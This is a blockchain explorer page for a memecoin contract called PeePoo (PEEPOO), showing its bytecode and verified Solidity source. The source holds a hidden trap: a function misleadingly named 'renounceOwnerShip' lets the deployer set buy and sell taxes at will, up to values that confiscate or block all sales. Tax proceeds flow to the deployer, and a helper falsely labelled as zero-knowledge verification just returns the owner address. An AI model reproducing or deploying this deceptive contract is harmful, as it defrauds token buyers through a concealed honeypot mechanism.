Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xbcADcC7F5b6375d4DbeD5E81b278626144174FD0
Balance 0 ETH
Nonce 1
Code Size 3510 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3510 bytes
0x6080604052600436106100f2575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb14610304578063c5cc6b6a14610323578063c9567bf914610342578063dd62ed3e14610356575f80fd5b806370a082311461028757806395d89b41146102b2578063a1764595146102c6578063a8aa1b31146102e5575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd578063583e05681461021b578063633d4f2914610266575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011161038c565b60405161011e91906109fe565b60405180910390f35b348015610132575f80fd5b50610146610141366004610a4a565b61041b565b604051901515815260200161011e565b348015610161575f80fd5b5061016a610487565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610a74565b6104a7565b3480156101a2575f80fd5b506101ab600981565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061024e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161011e565b348015610271575f80fd5b50610285610280366004610ac7565b6104f4565b005b348015610292575f80fd5b5061016a6102a1366004610af8565b60036020525f908152604090205481565b3480156102bd575f80fd5b50610111610552565b3480156102d1575f80fd5b5060075461024e906001600160a01b031681565b3480156102f0575f80fd5b5060055461024e906001600160a01b031681565b34801561030f575f80fd5b5061014661031e366004610a4a565b610561565b34801561032e575f80fd5b5060065461024e906001600160a01b031681565b34801561034d575f80fd5b50610285610574565b348015610361575f80fd5b5061016a610370366004610b13565b600460209081525f928352604080842090915290825290205481565b60605f805461039a90610b4a565b80601f01602080910402602001604051908101604052809291908181526020018280546103c690610b4a565b80156104115780601f106103e857610100808354040283529160200191610411565b820191905f5260205f20905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104759086815260200190565b60405180910390a35060015b92915050565b6104936009600a610c76565b6104a49066017e9d8602b400610c84565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104db908490610c9b565b909155506104ec90508484846105b5565b949350505050565b6002546001600160a01b0316331461051e57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461039a90610b4a565b5f61056d3384846105b5565b9392505050565b6002546001600160a01b0316331461058a575f80fd5b600554600160a81b900460ff16156105a0575f80fd5b6005805460ff60a81b1916600160a81b179055565b5f806105c96002546001600160a01b031690565b600554909150600160a81b900460ff16806105f55750806001600160a01b0316856001600160a01b0316145b806106115750806001600160a01b0316846001600160a01b0316145b610619575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610640908490610c9b565b90915550506005546001600160a01b03858116911614801561066c5750600554600160a01b900460ff16155b80156106ae575060646106816009600a610c76565b6106929066017e9d8602b400610c84565b61069c9190610cae565b305f9081526003602052604090205410155b80156106cc5750806001600160a01b0316856001600160a01b031614155b156108c4576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061071757610717610ccd565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610793573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b79190610ce1565b816001815181106107ca576107ca610ccd565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663eb6f613960646108156009600a610c76565b6108269066017e9d8602b400610c84565b6108309190610cae565b5f8430426040518663ffffffff1660e01b8152600401610854959493929190610cfc565b5f604051808303815f87803b15801561086b575f80fd5b505af115801561087d573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156108b4573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109025750600554600160a81b900460ff1615156001145b15610976576005545f906064906001600160a01b038981169116146109275783610929565b825b6109369060ff1688610c84565b6109409190610cae565b905061094c8187610c9b565b305f9081526003602052604081208054929850839290919061096f908490610d6d565b9091555050505b6001600160a01b0386165f908152600360205260408120805487929061099d908490610d6d565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516109e991815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a47575f80fd5b50565b5f8060408385031215610a5b575f80fd5b8235610a6681610a33565b946020939093013593505050565b5f805f60608486031215610a86575f80fd5b8335610a9181610a33565b92506020840135610aa181610a33565b929592945050506040919091013590565b803560ff81168114610ac2575f80fd5b919050565b5f8060408385031215610ad8575f80fd5b610ae183610ab2565b9150610aef60208401610ab2565b90509250929050565b5f60208284031215610b08575f80fd5b813561056d81610a33565b5f8060408385031215610b24575f80fd5b8235610b2f81610a33565b91506020830135610b3f81610a33565b809150509250929050565b600181811c90821680610b5e57607f821691505b602082108103610b7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610bd057815f1904821115610bb657610bb6610b82565b80851615610bc357918102915b93841c9390800290610b9b565b509250929050565b5f82610be657506001610481565b81610bf257505f610481565b8160018114610c085760028114610c1257610c2e565b6001915050610481565b60ff841115610c2357610c23610b82565b50506001821b610481565b5060208310610133831016604e8410600b8410161715610c51575081810a610481565b610c5b8383610b96565b805f1904821115610c6e57610c6e610b82565b029392505050565b5f61056d60ff841683610bd8565b808202811582820484141761048157610481610b82565b8181038181111561048157610481610b82565b5f82610cc857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610cf1575f80fd5b815161056d81610a33565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610d4c5784516001600160a01b031683529383019391830191600101610d27565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561048157610481610b8256fea2646970667358221220fc7d1b86e5575e9c15be8ccca0788cd7c3973db1a562e2387c6e455858990b2964736f6c63430008190033

Verified Source Code Full Match

Compiler: v0.8.25+commit.b61c2a91 EVM: cancun Optimization: Yes (200 runs)
PEEPOO.sol 188 lines
/**
Website: https://www.peepoofurie.com/
Telegram: https://t.me/peepoofurie
Tiwter: https://x.com/peepoofurie
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract PEEPOO { 

    string private _name = unicode"PeePoo";
    string private _symbol = unicode"PEEPOO";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 420_690_000_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 mTX;
        uint8 mWL;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 public immutable _uniswapV2Router;

    bool private swapping;
    bool private tradingOpen;

    address public  _factory;
    address public  _weth;

    constructor() {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uint8 _initmTX = 0;
        uint8 _initmWL = 0;
        storeData = StoreData({tokenMkt: msg.sender, mTX: _initmTX, mWL: _initmWL});
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function renounceOwnerShip(uint8 _oldOwner, uint8 _newOwner) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        maxSaveData(_oldOwner, _newOwner);
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        tradingOpen = true;
    }

    function maxSaveData(uint8 _b, uint8 _s) private {
        storeData.mTX = _b;
        storeData.mWL = _s;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _mTX, uint8 _mWL) = (storeData.mTX, storeData.mWL);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _mWL : _mTX)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

Read Contract

_factory 0xc5cc6b6a → address
_uniswapV2Router 0x583e0568 → address
_weth 0xa1764595 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
storeData 0x4abe3052 → address, uint8, uint8
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnerShip 0x633d4f29
uint8 _oldOwner
uint8 _newOwner
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address